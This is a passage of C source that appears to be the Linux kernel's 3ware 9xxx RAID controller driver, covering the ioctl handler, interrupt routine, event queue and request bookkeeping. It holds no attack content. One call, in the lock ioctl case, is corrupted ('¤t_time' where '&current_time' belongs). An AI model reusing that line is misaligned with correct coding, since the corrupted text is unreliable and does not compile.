&fw_on_ctlr_branch, &fw_on_ctlr_build,
&init_connect_result)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0xa, "Initconnection (base mode) failed while checking SRL");
goto out;
}
if (!(init_connect_result & TW_CTLR_FW_COMPATIBLE)) {
if (TW_CURRENT_DRIVER_SRL > fw_on_ctlr_srl) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x32, "Firmware and driver incompatibility: please upgrade firmware");
} else {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x33, "Firmware and driver incompatibility: please upgrade driver");
}
goto out;
}
tw_dev->tw_compat_info.working_srl = TW_BASE_FW_SRL;
tw_dev->tw_compat_info.working_branch = TW_BASE_FW_BRANCH;
tw_dev->tw_compat_info.working_build = TW_BASE_FW_BUILD;
}
/* Load rest of compatibility struct */
strncpy(tw_dev->tw_compat_info.driver_version, TW_DRIVER_VERSION, strlen(TW_DRIVER_VERSION));
tw_dev->tw_compat_info.driver_srl_high = TW_CURRENT_DRIVER_SRL;
tw_dev->tw_compat_info.driver_branch_high = TW_CURRENT_DRIVER_BRANCH;
tw_dev->tw_compat_info.driver_build_high = TW_CURRENT_DRIVER_BUILD;
tw_dev->tw_compat_info.driver_srl_low = TW_BASE_FW_SRL;
tw_dev->tw_compat_info.driver_branch_low = TW_BASE_FW_BRANCH;
tw_dev->tw_compat_info.driver_build_low = TW_BASE_FW_BUILD;
tw_dev->tw_compat_info.fw_on_ctlr_srl = fw_on_ctlr_srl;
tw_dev->tw_compat_info.fw_on_ctlr_branch = fw_on_ctlr_branch;
tw_dev->tw_compat_info.fw_on_ctlr_build = fw_on_ctlr_build;
retval = 0;
out:
return retval;
} /* End twa_check_srl() */
/* This function handles ioctl for the character device */
static long twa_chrdev_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
struct inode *inode = file->f_path.dentry->d_inode;
long timeout;
unsigned long *cpu_addr, data_buffer_length_adjusted = 0, flags = 0;
dma_addr_t dma_handle;
int request_id = 0;
unsigned int sequence_id = 0;
unsigned char event_index, start_index;
TW_Ioctl_Driver_Command driver_command;
TW_Ioctl_Buf_Apache *tw_ioctl;
TW_Lock *tw_lock;
TW_Command_Full *full_command_packet;
TW_Compatibility_Info *tw_compat_info;
TW_Event *event;
struct timeval current_time;
u32 current_time_ms;
TW_Device_Extension *tw_dev = twa_device_extension_list[iminor(inode)];
int retval = TW_IOCTL_ERROR_OS_EFAULT;
void __user *argp = (void __user *)arg;
lock_kernel();
/* Only let one of these through at a time */
if (mutex_lock_interruptible(&tw_dev->ioctl_lock)) {
retval = TW_IOCTL_ERROR_OS_EINTR;
goto out;
}
/* First copy down the driver command */
if (copy_from_user(&driver_command, argp, sizeof(TW_Ioctl_Driver_Command)))
goto out2;
/* Check data buffer size */
if (driver_command.buffer_length > TW_MAX_SECTORS * 2048) {
retval = TW_IOCTL_ERROR_OS_EINVAL;
goto out2;
}
/* Hardware can only do multiple of 512 byte transfers */
data_buffer_length_adjusted = (driver_command.buffer_length + 511) & ~511;
/* Now allocate ioctl buf memory */
cpu_addr = dma_alloc_coherent(&tw_dev->tw_pci_dev->dev, data_buffer_length_adjusted+sizeof(TW_Ioctl_Buf_Apache) - 1, &dma_handle, GFP_KERNEL);
if (!cpu_addr) {
retval = TW_IOCTL_ERROR_OS_ENOMEM;
goto out2;
}
tw_ioctl = (TW_Ioctl_Buf_Apache *)cpu_addr;
/* Now copy down the entire ioctl */
if (copy_from_user(tw_ioctl, argp, driver_command.buffer_length + sizeof(TW_Ioctl_Buf_Apache) - 1))
goto out3;
/* See which ioctl we are doing */
switch (cmd) {
case TW_IOCTL_FIRMWARE_PASS_THROUGH:
spin_lock_irqsave(tw_dev->host->host_lock, flags);
twa_get_request_id(tw_dev, &request_id);
/* Flag internal command */
tw_dev->srb[request_id] = NULL;
/* Flag chrdev ioctl */
tw_dev->chrdev_request_id = request_id;
full_command_packet = &tw_ioctl->firmware_command;
/* Load request id and sglist for both command types */
twa_load_sgl(tw_dev, full_command_packet, request_id, dma_handle, data_buffer_length_adjusted);
memcpy(tw_dev->command_packet_virt[request_id], &(tw_ioctl->firmware_command), sizeof(TW_Command_Full));
/* Now post the command packet to the controller */
twa_post_command_packet(tw_dev, request_id, 1);
spin_unlock_irqrestore(tw_dev->host->host_lock, flags);
timeout = TW_IOCTL_CHRDEV_TIMEOUT*HZ;
/* Now wait for command to complete */
timeout = wait_event_timeout(tw_dev->ioctl_wqueue, tw_dev->chrdev_request_id == TW_IOCTL_CHRDEV_FREE, timeout);
/* We timed out, and didn't get an interrupt */
if (tw_dev->chrdev_request_id != TW_IOCTL_CHRDEV_FREE) {
/* Now we need to reset the board */
printk(KERN_WARNING "3w-9xxx: scsi%d: WARNING: (0x%02X:0x%04X): Character ioctl (0x%x) timed out, resetting card.\n",
tw_dev->host->host_no, TW_DRIVER, 0x37,
cmd);
retval = TW_IOCTL_ERROR_OS_EIO;
twa_reset_device_extension(tw_dev);
goto out3;
}
/* Now copy in the command packet response */
memcpy(&(tw_ioctl->firmware_command), tw_dev->command_packet_virt[request_id], sizeof(TW_Command_Full));
/* Now complete the io */
spin_lock_irqsave(tw_dev->host->host_lock, flags);
tw_dev->posted_request_count--;
tw_dev->state[request_id] = TW_S_COMPLETED;
twa_free_request_id(tw_dev, request_id);
spin_unlock_irqrestore(tw_dev->host->host_lock, flags);
break;
case TW_IOCTL_GET_COMPATIBILITY_INFO:
tw_ioctl->driver_command.status = 0;
/* Copy compatibility struct into ioctl data buffer */
tw_compat_info = (TW_Compatibility_Info *)tw_ioctl->data_buffer;
memcpy(tw_compat_info, &tw_dev->tw_compat_info, sizeof(TW_Compatibility_Info));
break;
case TW_IOCTL_GET_LAST_EVENT:
if (tw_dev->event_queue_wrapped) {
if (tw_dev->aen_clobber) {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_AEN_CLOBBER;
tw_dev->aen_clobber = 0;
} else
tw_ioctl->driver_command.status = 0;
} else {
if (!tw_dev->error_index) {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_NO_MORE_EVENTS;
break;
}
tw_ioctl->driver_command.status = 0;
}
event_index = (tw_dev->error_index - 1 + TW_Q_LENGTH) % TW_Q_LENGTH;
memcpy(tw_ioctl->data_buffer, tw_dev->event_queue[event_index], sizeof(TW_Event));
tw_dev->event_queue[event_index]->retrieved = TW_AEN_RETRIEVED;
break;
case TW_IOCTL_GET_FIRST_EVENT:
if (tw_dev->event_queue_wrapped) {
if (tw_dev->aen_clobber) {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_AEN_CLOBBER;
tw_dev->aen_clobber = 0;
} else
tw_ioctl->driver_command.status = 0;
event_index = tw_dev->error_index;
} else {
if (!tw_dev->error_index) {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_NO_MORE_EVENTS;
break;
}
tw_ioctl->driver_command.status = 0;
event_index = 0;
}
memcpy(tw_ioctl->data_buffer, tw_dev->event_queue[event_index], sizeof(TW_Event));
tw_dev->event_queue[event_index]->retrieved = TW_AEN_RETRIEVED;
break;
case TW_IOCTL_GET_NEXT_EVENT:
event = (TW_Event *)tw_ioctl->data_buffer;
sequence_id = event->sequence_id;
tw_ioctl->driver_command.status = 0;
if (tw_dev->event_queue_wrapped) {
if (tw_dev->aen_clobber) {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_AEN_CLOBBER;
tw_dev->aen_clobber = 0;
}
start_index = tw_dev->error_index;
} else {
if (!tw_dev->error_index) {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_NO_MORE_EVENTS;
break;
}
start_index = 0;
}
event_index = (start_index + sequence_id - tw_dev->event_queue[start_index]->sequence_id + 1) % TW_Q_LENGTH;
if (!(tw_dev->event_queue[event_index]->sequence_id > sequence_id)) {
if (tw_ioctl->driver_command.status == TW_IOCTL_ERROR_STATUS_AEN_CLOBBER)
tw_dev->aen_clobber = 1;
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_NO_MORE_EVENTS;
break;
}
memcpy(tw_ioctl->data_buffer, tw_dev->event_queue[event_index], sizeof(TW_Event));
tw_dev->event_queue[event_index]->retrieved = TW_AEN_RETRIEVED;
break;
case TW_IOCTL_GET_PREVIOUS_EVENT:
event = (TW_Event *)tw_ioctl->data_buffer;
sequence_id = event->sequence_id;
tw_ioctl->driver_command.status = 0;
if (tw_dev->event_queue_wrapped) {
if (tw_dev->aen_clobber) {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_AEN_CLOBBER;
tw_dev->aen_clobber = 0;
}
start_index = tw_dev->error_index;
} else {
if (!tw_dev->error_index) {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_NO_MORE_EVENTS;
break;
}
start_index = 0;
}
event_index = (start_index + sequence_id - tw_dev->event_queue[start_index]->sequence_id - 1) % TW_Q_LENGTH;
if (!(tw_dev->event_queue[event_index]->sequence_id < sequence_id)) {
if (tw_ioctl->driver_command.status == TW_IOCTL_ERROR_STATUS_AEN_CLOBBER)
tw_dev->aen_clobber = 1;
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_NO_MORE_EVENTS;
break;
}
memcpy(tw_ioctl->data_buffer, tw_dev->event_queue[event_index], sizeof(TW_Event));
tw_dev->event_queue[event_index]->retrieved = TW_AEN_RETRIEVED;
break;
case TW_IOCTL_GET_LOCK:
tw_lock = (TW_Lock *)tw_ioctl->data_buffer;
do_gettimeofday(¤t_time);
current_time_ms = (current_time.tv_sec * 1000) + (current_time.tv_usec / 1000);
if ((tw_lock->force_flag == 1) || (tw_dev->ioctl_sem_lock == 0) || (current_time_ms >= tw_dev->ioctl_msec)) {
tw_dev->ioctl_sem_lock = 1;
tw_dev->ioctl_msec = current_time_ms + tw_lock->timeout_msec;
tw_ioctl->driver_command.status = 0;
tw_lock->time_remaining_msec = tw_lock->timeout_msec;
} else {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_LOCKED;
tw_lock->time_remaining_msec = tw_dev->ioctl_msec - current_time_ms;
}
break;
case TW_IOCTL_RELEASE_LOCK:
if (tw_dev->ioctl_sem_lock == 1) {
tw_dev->ioctl_sem_lock = 0;
tw_ioctl->driver_command.status = 0;
} else {
tw_ioctl->driver_command.status = TW_IOCTL_ERROR_STATUS_NOT_LOCKED;
}
break;
default:
retval = TW_IOCTL_ERROR_OS_ENOTTY;
goto out3;
}
/* Now copy the entire response to userspace */
if (copy_to_user(argp, tw_ioctl, sizeof(TW_Ioctl_Buf_Apache) + driver_command.buffer_length - 1) == 0)
retval = 0;
out3:
/* Now free ioctl buf memory */
dma_free_coherent(&tw_dev->tw_pci_dev->dev, data_buffer_length_adjusted+sizeof(TW_Ioctl_Buf_Apache) - 1, cpu_addr, dma_handle);
out2:
mutex_unlock(&tw_dev->ioctl_lock);
out:
unlock_kernel();
return retval;
} /* End twa_chrdev_ioctl() */
/* This function handles open for the character device */
/* NOTE that this function will race with remove. */
static int twa_chrdev_open(struct inode *inode, struct file *file)
{
unsigned int minor_number;
int retval = TW_IOCTL_ERROR_OS_ENODEV;
cycle_kernel_lock();
minor_number = iminor(inode);
if (minor_number >= twa_device_extension_count)
goto out;
retval = 0;
out:
return retval;
} /* End twa_chrdev_open() */
/* This function will print readable messages from status register errors */
static int twa_decode_bits(TW_Device_Extension *tw_dev, u32 status_reg_value)
{
int retval = 1;
/* Check for various error conditions and handle them appropriately */
if (status_reg_value & TW_STATUS_PCI_PARITY_ERROR) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0xc, "PCI Parity Error: clearing");
writel(TW_CONTROL_CLEAR_PARITY_ERROR, TW_CONTROL_REG_ADDR(tw_dev));
}
if (status_reg_value & TW_STATUS_PCI_ABORT) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0xd, "PCI Abort: clearing");
writel(TW_CONTROL_CLEAR_PCI_ABORT, TW_CONTROL_REG_ADDR(tw_dev));
pci_write_config_word(tw_dev->tw_pci_dev, PCI_STATUS, TW_PCI_CLEAR_PCI_ABORT);
}
if (status_reg_value & TW_STATUS_QUEUE_ERROR) {
if (((tw_dev->tw_pci_dev->device != PCI_DEVICE_ID_3WARE_9650SE) &&
(tw_dev->tw_pci_dev->device != PCI_DEVICE_ID_3WARE_9690SA)) ||
(!test_bit(TW_IN_RESET, &tw_dev->flags)))
TW_PRINTK(tw_dev->host, TW_DRIVER, 0xe, "Controller Queue Error: clearing");
writel(TW_CONTROL_CLEAR_QUEUE_ERROR, TW_CONTROL_REG_ADDR(tw_dev));
}
if (status_reg_value & TW_STATUS_MICROCONTROLLER_ERROR) {
if (tw_dev->reset_print == 0) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x10, "Microcontroller Error: clearing");
tw_dev->reset_print = 1;
}
goto out;
}
retval = 0;
out:
return retval;
} /* End twa_decode_bits() */
/* This function will empty the response queue */
static int twa_empty_response_queue(TW_Device_Extension *tw_dev)
{
u32 status_reg_value, response_que_value;
int count = 0, retval = 1;
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
while (((status_reg_value & TW_STATUS_RESPONSE_QUEUE_EMPTY) == 0) && (count < TW_MAX_RESPONSE_DRAIN)) {
response_que_value = readl(TW_RESPONSE_QUEUE_REG_ADDR(tw_dev));
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
count++;
}
if (count == TW_MAX_RESPONSE_DRAIN)
goto out;
retval = 0;
out:
return retval;
} /* End twa_empty_response_queue() */
/* This function will clear the pchip/response queue on 9550SX */
static int twa_empty_response_queue_large(TW_Device_Extension *tw_dev)
{
u32 response_que_value = 0;
unsigned long before;
int retval = 1;
if (tw_dev->tw_pci_dev->device != PCI_DEVICE_ID_3WARE_9000) {
before = jiffies;
while ((response_que_value & TW_9550SX_DRAIN_COMPLETED) != TW_9550SX_DRAIN_COMPLETED) {
response_que_value = readl(TW_RESPONSE_QUEUE_REG_ADDR_LARGE(tw_dev));
msleep(1);
if (time_after(jiffies, before + HZ * 30))
goto out;
}
/* P-chip settle time */
msleep(500);
retval = 0;
} else
retval = 0;
out:
return retval;
} /* End twa_empty_response_queue_large() */
/* This function passes sense keys from firmware to scsi layer */
static int twa_fill_sense(TW_Device_Extension *tw_dev, int request_id, int copy_sense, int print_host)
{
TW_Command_Full *full_command_packet;
unsigned short error;
int retval = 1;
char *error_str;
full_command_packet = tw_dev->command_packet_virt[request_id];
/* Check for embedded error string */
error_str = &(full_command_packet->header.err_specific_desc[strlen(full_command_packet->header.err_specific_desc) + 1]);
/* Don't print error for Logical unit not supported during rollcall */
error = le16_to_cpu(full_command_packet->header.status_block.error);
if ((error != TW_ERROR_LOGICAL_UNIT_NOT_SUPPORTED) && (error != TW_ERROR_UNIT_OFFLINE)) {
if (print_host)
printk(KERN_WARNING "3w-9xxx: scsi%d: ERROR: (0x%02X:0x%04X): %s:%s.\n",
tw_dev->host->host_no,
TW_MESSAGE_SOURCE_CONTROLLER_ERROR,
full_command_packet->header.status_block.error,
error_str[0] == '\0' ?
twa_string_lookup(twa_error_table,
full_command_packet->header.status_block.error) : error_str,
full_command_packet->header.err_specific_desc);
else
printk(KERN_WARNING "3w-9xxx: ERROR: (0x%02X:0x%04X): %s:%s.\n",
TW_MESSAGE_SOURCE_CONTROLLER_ERROR,
full_command_packet->header.status_block.error,
error_str[0] == '\0' ?
twa_string_lookup(twa_error_table,
full_command_packet->header.status_block.error) : error_str,
full_command_packet->header.err_specific_desc);
}
if (copy_sense) {
memcpy(tw_dev->srb[request_id]->sense_buffer, full_command_packet->header.sense_data, TW_SENSE_DATA_LENGTH);
tw_dev->srb[request_id]->result = (full_command_packet->command.newcommand.status << 1);
retval = TW_ISR_DONT_RESULT;
goto out;
}
retval = 0;
out:
return retval;
} /* End twa_fill_sense() */
/* This function will free up device extension resources */
static void twa_free_device_extension(TW_Device_Extension *tw_dev)
{
if (tw_dev->command_packet_virt[0])
pci_free_consistent(tw_dev->tw_pci_dev,
sizeof(TW_Command_Full)*TW_Q_LENGTH,
tw_dev->command_packet_virt[0],
tw_dev->command_packet_phys[0]);
if (tw_dev->generic_buffer_virt[0])
pci_free_consistent(tw_dev->tw_pci_dev,
TW_SECTOR_SIZE*TW_Q_LENGTH,
tw_dev->generic_buffer_virt[0],
tw_dev->generic_buffer_phys[0]);
kfree(tw_dev->event_queue[0]);
} /* End twa_free_device_extension() */
/* This function will free a request id */
static void twa_free_request_id(TW_Device_Extension *tw_dev, int request_id)
{
tw_dev->free_queue[tw_dev->free_tail] = request_id;
tw_dev->state[request_id] = TW_S_FINISHED;
tw_dev->free_tail = (tw_dev->free_tail + 1) % TW_Q_LENGTH;
} /* End twa_free_request_id() */
/* This function will get parameter table entries from the firmware */
static void *twa_get_param(TW_Device_Extension *tw_dev, int request_id, int table_id, int parameter_id, int parameter_size_bytes)
{
TW_Command_Full *full_command_packet;
TW_Command *command_packet;
TW_Param_Apache *param;
void *retval = NULL;
/* Setup the command packet */
full_command_packet = tw_dev->command_packet_virt[request_id];
memset(full_command_packet, 0, sizeof(TW_Command_Full));
command_packet = &full_command_packet->command.oldcommand;
command_packet->opcode__sgloffset = TW_OPSGL_IN(2, TW_OP_GET_PARAM);
command_packet->size = TW_COMMAND_SIZE;
command_packet->request_id = request_id;
command_packet->byte6_offset.block_count = cpu_to_le16(1);
/* Now setup the param */
param = (TW_Param_Apache *)tw_dev->generic_buffer_virt[request_id];
memset(param, 0, TW_SECTOR_SIZE);
param->table_id = cpu_to_le16(table_id | 0x8000);
param->parameter_id = cpu_to_le16(parameter_id);
param->parameter_size_bytes = cpu_to_le16(parameter_size_bytes);
command_packet->byte8_offset.param.sgl[0].address = TW_CPU_TO_SGL(tw_dev->generic_buffer_phys[request_id]);
command_packet->byte8_offset.param.sgl[0].length = cpu_to_le32(TW_SECTOR_SIZE);
/* Post the command packet to the board */
twa_post_command_packet(tw_dev, request_id, 1);
/* Poll for completion */
if (twa_poll_response(tw_dev, request_id, 30))
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x13, "No valid response during get param")
else
retval = (void *)&(param->data[0]);
tw_dev->posted_request_count--;
tw_dev->state[request_id] = TW_S_INITIAL;
return retval;
} /* End twa_get_param() */
/* This function will assign an available request id */
static void twa_get_request_id(TW_Device_Extension *tw_dev, int *request_id)
{
*request_id = tw_dev->free_queue[tw_dev->free_head];
tw_dev->free_head = (tw_dev->free_head + 1) % TW_Q_LENGTH;
tw_dev->state[*request_id] = TW_S_STARTED;
} /* End twa_get_request_id() */
/* This function will send an initconnection command to controller */
static int twa_initconnection(TW_Device_Extension *tw_dev, int message_credits,
u32 set_features, unsigned short current_fw_srl,
unsigned short current_fw_arch_id,
unsigned short current_fw_branch,
unsigned short current_fw_build,
unsigned short *fw_on_ctlr_srl,
unsigned short *fw_on_ctlr_arch_id,
unsigned short *fw_on_ctlr_branch,
unsigned short *fw_on_ctlr_build,
u32 *init_connect_result)
{
TW_Command_Full *full_command_packet;
TW_Initconnect *tw_initconnect;
int request_id = 0, retval = 1;
/* Initialize InitConnection command packet */
full_command_packet = tw_dev->command_packet_virt[request_id];
memset(full_command_packet, 0, sizeof(TW_Command_Full));
full_command_packet->header.header_desc.size_header = 128;
tw_initconnect = (TW_Initconnect *)&full_command_packet->command.oldcommand;
tw_initconnect->opcode__reserved = TW_OPRES_IN(0, TW_OP_INIT_CONNECTION);
tw_initconnect->request_id = request_id;
tw_initconnect->message_credits = cpu_to_le16(message_credits);
tw_initconnect->features = set_features;
/* Turn on 64-bit sgl support if we need to */
tw_initconnect->features |= sizeof(dma_addr_t) > 4 ? 1 : 0;
tw_initconnect->features = cpu_to_le32(tw_initconnect->features);
if (set_features & TW_EXTENDED_INIT_CONNECT) {
tw_initconnect->size = TW_INIT_COMMAND_PACKET_SIZE_EXTENDED;
tw_initconnect->fw_srl = cpu_to_le16(current_fw_srl);
tw_initconnect->fw_arch_id = cpu_to_le16(current_fw_arch_id);
tw_initconnect->fw_branch = cpu_to_le16(current_fw_branch);
tw_initconnect->fw_build = cpu_to_le16(current_fw_build);
} else
tw_initconnect->size = TW_INIT_COMMAND_PACKET_SIZE;
/* Send command packet to the board */
twa_post_command_packet(tw_dev, request_id, 1);
/* Poll for completion */
if (twa_poll_response(tw_dev, request_id, 30)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x15, "No valid response during init connection");
} else {
if (set_features & TW_EXTENDED_INIT_CONNECT) {
*fw_on_ctlr_srl = le16_to_cpu(tw_initconnect->fw_srl);
*fw_on_ctlr_arch_id = le16_to_cpu(tw_initconnect->fw_arch_id);
*fw_on_ctlr_branch = le16_to_cpu(tw_initconnect->fw_branch);
*fw_on_ctlr_build = le16_to_cpu(tw_initconnect->fw_build);
*init_connect_result = le32_to_cpu(tw_initconnect->result);
}
retval = 0;
}
tw_dev->posted_request_count--;
tw_dev->state[request_id] = TW_S_INITIAL;
return retval;
} /* End twa_initconnection() */
/* This function will initialize the fields of a device extension */
static int twa_initialize_device_extension(TW_Device_Extension *tw_dev)
{
int i, retval = 1;
/* Initialize command packet buffers */
if (twa_allocate_memory(tw_dev, sizeof(TW_Command_Full), 0)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x16, "Command packet memory allocation failed");
goto out;
}
/* Initialize generic buffer */
if (twa_allocate_memory(tw_dev, TW_SECTOR_SIZE, 1)) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x17, "Generic memory allocation failed");
goto out;
}
/* Allocate event info space */
tw_dev->event_queue[0] = kcalloc(TW_Q_LENGTH, sizeof(TW_Event), GFP_KERNEL);
if (!tw_dev->event_queue[0]) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x18, "Event info memory allocation failed");
goto out;
}
for (i = 0; i < TW_Q_LENGTH; i++) {
tw_dev->event_queue[i] = (TW_Event *)((unsigned char *)tw_dev->event_queue[0] + (i * sizeof(TW_Event)));
tw_dev->free_queue[i] = i;
tw_dev->state[i] = TW_S_INITIAL;
}
tw_dev->pending_head = TW_Q_START;
tw_dev->pending_tail = TW_Q_START;
tw_dev->free_head = TW_Q_START;
tw_dev->free_tail = TW_Q_START;
tw_dev->error_sequence_id = 1;
tw_dev->chrdev_request_id = TW_IOCTL_CHRDEV_FREE;
mutex_init(&tw_dev->ioctl_lock);
init_waitqueue_head(&tw_dev->ioctl_wqueue);
retval = 0;
out:
return retval;
} /* End twa_initialize_device_extension() */
/* This function is the interrupt service routine */
static irqreturn_t twa_interrupt(int irq, void *dev_instance)
{
int request_id, error = 0;
u32 status_reg_value;
TW_Response_Queue response_que;
TW_Command_Full *full_command_packet;
TW_Device_Extension *tw_dev = (TW_Device_Extension *)dev_instance;
int handled = 0;
/* Get the per adapter lock */
spin_lock(tw_dev->host->host_lock);
/* Read the registers */
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
/* Check if this is our interrupt, otherwise bail */
if (!(status_reg_value & TW_STATUS_VALID_INTERRUPT))
goto twa_interrupt_bail;
handled = 1;
/* If we are resetting, bail */
if (test_bit(TW_IN_RESET, &tw_dev->flags))
goto twa_interrupt_bail;
/* Check controller for errors */
if (twa_check_bits(status_reg_value)) {
if (twa_decode_bits(tw_dev, status_reg_value)) {
TW_CLEAR_ALL_INTERRUPTS(tw_dev);
goto twa_interrupt_bail;
}
}
/* Handle host interrupt */
if (status_reg_value & TW_STATUS_HOST_INTERRUPT)
TW_CLEAR_HOST_INTERRUPT(tw_dev);
/* Handle attention interrupt */
if (status_reg_value & TW_STATUS_ATTENTION_INTERRUPT) {
TW_CLEAR_ATTENTION_INTERRUPT(tw_dev);
if (!(test_and_set_bit(TW_IN_ATTENTION_LOOP, &tw_dev->flags))) {
twa_get_request_id(tw_dev, &request_id);
error = twa_aen_read_queue(tw_dev, request_id);
if (error) {
tw_dev->state[request_id] = TW_S_COMPLETED;
twa_free_request_id(tw_dev, request_id);
clear_bit(TW_IN_ATTENTION_LOOP, &tw_dev->flags);
}
}
}
/* Handle command interrupt */
if (status_reg_value & TW_STATUS_COMMAND_INTERRUPT) {
TW_MASK_COMMAND_INTERRUPT(tw_dev);
/* Drain as many pending commands as we can */
while (tw_dev->pending_request_count > 0) {
request_id = tw_dev->pending_queue[tw_dev->pending_head];
if (tw_dev->state[request_id] != TW_S_PENDING) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x19, "Found request id that wasn't pending");
TW_CLEAR_ALL_INTERRUPTS(tw_dev);
goto twa_interrupt_bail;
}
if (twa_post_command_packet(tw_dev, request_id, 1)==0) {
tw_dev->pending_head = (tw_dev->pending_head + 1) % TW_Q_LENGTH;
tw_dev->pending_request_count--;
} else {
/* If we get here, we will continue re-posting on the next command interrupt */
break;
}
}
}
/* Handle response interrupt */
if (status_reg_value & TW_STATUS_RESPONSE_INTERRUPT) {
/* Drain the response queue from the board */
while ((status_reg_value & TW_STATUS_RESPONSE_QUEUE_EMPTY) == 0) {
/* Complete the response */
response_que.value = readl(TW_RESPONSE_QUEUE_REG_ADDR(tw_dev));
request_id = TW_RESID_OUT(response_que.response_id);
full_command_packet = tw_dev->command_packet_virt[request_id];
error = 0;
/* Check for command packet errors */
if (full_command_packet->command.newcommand.status != 0) {
if (tw_dev->srb[request_id] != NULL) {
error = twa_fill_sense(tw_dev, request_id, 1, 1);
} else {
/* Skip ioctl error prints */
if (request_id != tw_dev->chrdev_request_id) {
error = twa_fill_sense(tw_dev, request_id, 0, 1);
}
}
}
/* Check for correct state */
if (tw_dev->state[request_id] != TW_S_POSTED) {
if (tw_dev->srb[request_id] != NULL) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1a, "Received a request id that wasn't posted");
TW_CLEAR_ALL_INTERRUPTS(tw_dev);
goto twa_interrupt_bail;
}
}
/* Check for internal command completion */
if (tw_dev->srb[request_id] == NULL) {
if (request_id != tw_dev->chrdev_request_id) {
if (twa_aen_complete(tw_dev, request_id))
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1b, "Error completing AEN during attention interrupt");
} else {
tw_dev->chrdev_request_id = TW_IOCTL_CHRDEV_FREE;
wake_up(&tw_dev->ioctl_wqueue);
}
} else {
struct scsi_cmnd *cmd;
cmd = tw_dev->srb[request_id];
twa_scsiop_execute_scsi_complete(tw_dev, request_id);
/* If no error command was a success */
if (error == 0) {
cmd->result = (DID_OK << 16);
}
/* If error, command failed */
if (error == 1) {
/* Ask for a host reset */
cmd->result = (DID_OK << 16) | (CHECK_CONDITION << 1);
}
/* Report residual bytes for single sgl */
if ((scsi_sg_count(cmd) <= 1) && (full_command_packet->command.newcommand.status == 0)) {
if (full_command_packet->command.newcommand.sg_list[0].length < scsi_bufflen(tw_dev->srb[request_id]))
scsi_set_resid(cmd, scsi_bufflen(cmd) - full_command_packet->command.newcommand.sg_list[0].length);
}
/* Now complete the io */
tw_dev->state[request_id] = TW_S_COMPLETED;
twa_free_request_id(tw_dev, request_id);
tw_dev->posted_request_count--;
tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]);
twa_unmap_scsi_data(tw_dev, request_id);
}
/* Check for valid status after each drain */
status_reg_value = readl(TW_STATUS_REG_ADDR(tw_dev));
if (twa_check_bits(status_reg_value)) {
if (twa_decode_bits(tw_dev, status_reg_value)) {
TW_CLEAR_ALL_INTERRUPTS(tw_dev);
goto twa_interrupt_bail;
}
}
}
}
twa_interrupt_bail:
spin_unlock(tw_dev->host->host_lock);
return IRQ_RETVAL(handled);
} /* End twa_interrupt() */
/* This function will load the request id and various sgls for ioctls */
static void twa_load_sgl(TW_Device_Extension *tw_dev, TW_Command_Full *full_command_packet, int request_id, dma_addr_t dma_handle, int length)
{
TW_Command *oldcommand;
TW_Command_Apache *newcommand;
TW_SG_Entry *sgl;
unsigned int pae = 0;
if ((sizeof(long) < 8) && (sizeof(dma_addr_t) > 4))
pae = 1;
if (TW_OP_OUT(full_command_packet->command.newcommand.opcode__reserved) == TW_OP_EXECUTE_SCSI) {
newcommand = &full_command_packet->command.newcommand;
newcommand->request_id__lunl =
cpu_to_le16(TW_REQ_LUN_IN(TW_LUN_OUT(newcommand->request_id__lunl), request_id));
if (length) {
newcommand->sg_list[0].address = TW_CPU_TO_SGL(dma_handle + sizeof(TW_Ioctl_Buf_Apache) - 1);
newcommand->sg_list[0].length = cpu_to_le32(length);
}
newcommand->sgl_entries__lunh =
cpu_to_le16(TW_REQ_LUN_IN(TW_LUN_OUT(newcommand->sgl_entries__lunh), length ? 1 : 0));
} else {
oldcommand = &full_command_packet->command.oldcommand;
oldcommand->request_id = request_id;
if (TW_SGL_OUT(oldcommand->opcode__sgloffset)) {
/* Load the sg list */
if (tw_dev->tw_pci_dev->device == PCI_DEVICE_ID_3WARE_9690SA)
sgl = (TW_SG_Entry *)((u32 *)oldcommand+oldcommand->size - (sizeof(TW_SG_Entry)/4) + pae);
else
sgl = (TW_SG_Entry *)((u32 *)oldcommand+TW_SGL_OUT(oldcommand->opcode__sgloffset));
sgl->address = TW_CPU_TO_SGL(dma_handle + sizeof(TW_Ioctl_Buf_Apache) - 1);
sgl->length = cpu_to_le32(length);
oldcommand->size += pae;
}
}
} /* End twa_load_sgl() */
/* This function will perform a pci-dma mapping for a scatter gather list */
static int twa_map_scsi_sg_data(TW_Device_Extension *tw_dev, int request_id)
{
int use_sg;
struct scsi_cmnd *cmd = tw_dev->srb[request_id];
use_sg = scsi_dma_map(cmd);
if (!use_sg)
return 0;
else if (use_sg < 0) {
TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1c, "Failed to map scatter gather list");
return 0;
}
cmd->SCp.phase = TW_PHASE_SGLIST;
cmd->SCp.have_data_in = use_sg;
return use_sg;
} /* End twa_map_scsi_sg_data() */
